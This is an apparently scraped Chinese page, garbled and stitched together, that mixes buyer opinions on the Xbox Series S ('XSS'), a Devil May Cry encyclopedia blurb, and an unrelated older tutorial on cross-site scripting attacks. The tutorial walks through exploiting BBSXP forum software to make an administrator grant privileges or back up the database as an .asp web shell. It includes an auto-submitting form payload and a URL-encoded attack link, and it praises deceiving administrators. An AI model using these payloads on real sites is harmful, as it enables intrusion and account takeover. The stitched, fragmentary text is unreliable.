中间商赚差价
XboxSeriesS简称为xss
造型小巧的XSS其外包装也非常的简约。白色的主题设计颇具质感,标志性的Xbox西瓜键和黑色散热孔都在正面很好的展示了出来。
打开包装,就可以看到本次的主角,XboxSeriesS。相较于以往的主机,XSS显得格外的小巧,但同时有着主机级别的性能,能够流畅运行3A游戏并带来精美的画面表现,这不仅仅要感谢新架构带来的性能提升,更要感谢微软精妙的工业设计力,让如此小巧的机身就能够满足其散热的要求。
XSS小巧的身形使得它可以轻松放置在55寸电视和电视柜之间的空隙。这别说是次世代主机了,就连上一代末期的X1X、PS4Pro等机型都很难做到。和其他主机相比,XSS可以更轻松的融入到你的电视柜、书桌、书柜之中。
由于采用了纯数字化的设计,XSS并没有搭载光驱,因此正面面板十分简洁,一个西瓜键用于开关机、一个蓝牙配对键用于连接手柄,还有一个USB接口,用于连接各种外设
60帧。
XSS是本世代到次世代的过渡性主机,以现在的性能玩次世代游戏可能在2到3年内就会吃力,地平线5作为次世代游戏XSS根本带不到2K。
看具体使用情况。
XboxSeriesS低价但不低质,特别需要强调的是XSS仍然是一台合格的次时代主机,尽管它的价格比XboxOneX和PS4Pro还要低但XSS依旧代表着次时代的全新体验,因为XboxSeriesS支持光追,拥有固态硬盘,支持Xbox快速架构,支持更快速的游戏加载、更稳定的帧率以及多游戏间的快速唤醒,支持杜比视界和杜比全景声。
XboxSeriesS在硬件上也不落后,它的CPU与XboxSeriesX一致,甚至要强于PS5。处于成本的考虑XSS的固态硬盘仅有512G,对次时代游戏来说绝对称不上大,但由于智能分发技术的存在,2K游戏的容量也会比4K更节省空间。横向对比XSX的固态硬盘为1TB,而PS5为825GB,它们面对庞大的4K光追游戏硬盘空间也都是捉襟见肘的。对于XSS玩家来说在以后也可以根据预算来酌情考虑入手1TB专用扩展卡(与内部存储体验一致)或外置移动固态硬盘作为补充。
XboxSeriesS所支持的次时代游戏表现为2K即1440P60FPS最高至120FPS,也就是说XSS并不是一台4K主机,大家想在4K电视上体验次时代游戏那么XSS并不是首选,而大家在用的是1080P、2K显示设备那么XboxSeriesS无疑是最佳选择。
XSX性能强,XSS价钱便宜
我个人的实际使用体验是相差不大,可能是我并不太在意画质。如果你追求4K UHD尽可能高渲染分辨率的情况下,XSX可以做到稳定60甚至是120,XSS只能是低渲染分辨率60-120或者高渲染分辨率稳30,两机器都很稳定,少量作品偶尔掉帧或者特定场景掉帧。但是如果不是4K UHD的情况下,你用1080p输出,那么XSX和XSS几乎完全没有区别,因为渲染1080p分辨率是基本功,不过要注意有些xboxone游戏在XSS上运行的版本是Xboxone S的版本,大概是900p的渲染,不是机能问题,是作品问题。玩X|S作品,XSS最高能做到4K60hz,还要什么自行车?“
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.[编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。[编辑本段]来自内部的跨站攻击 寻找跨站漏洞 如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。 如何利用 我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例. a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入: c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。 d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示 除此之外我们只要在个人签名里输入 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的 攻击,对于flash木马的制作,下面见哥们丰初的介绍。 再利用如下: 修改一下个人头像的url,输入代码如下: 再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。 例:先上传一个文件linzi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉 上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下: http://127.0.0.1/bbsxp/page2.asp?username= 我们构造备份跨站语句如下: http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。
不错。
开始拿XSS玩,实在太糊了,能问出xss体验如何的大概率是学生党,那就不能光从游戏机本身出发看问题。
6帧。
《鬼泣(英文:Devil May Cry,日文:デビル メイ クライ,意思是“恶魔会哭泣”)》,其它中文译名:《恶魔猎人》、《魔颤》,是日本CAPCOM公司发行的动作类单机游戏,
以华丽的战斗表现为特色,无论是场景、气氛、及系统都优秀。游戏讲述一位超人类的恶魔猎人经营名叫「Devil May Cry」的事务所,与来自魔界的恶魔进行对抗,阻止它们入侵人间。
因为你的显示器不是1020p。
xss在显卡性能在纸面参数上只有xsx的三分之一,甚至不如上个世代的天蝎座主机,这让很多玩家对xss的性能感到担心。从实际游戏表现来看,xss确实存在显卡性能上的短板,如《光环:无限》上分辨率就比天蝎座更低,天蝎座可以实现4k30帧的画质。
但是xss的目标分辨率是1080到2k之间,在这个区间段xss实现60帧没有问题,而天蝎座虽然显卡性能更高,但由于孱弱的cpu性能帧数并不稳定,而且xss在一些优化较好的游戏上画质表现已经和天蝎一致甚至超过。
我来说两句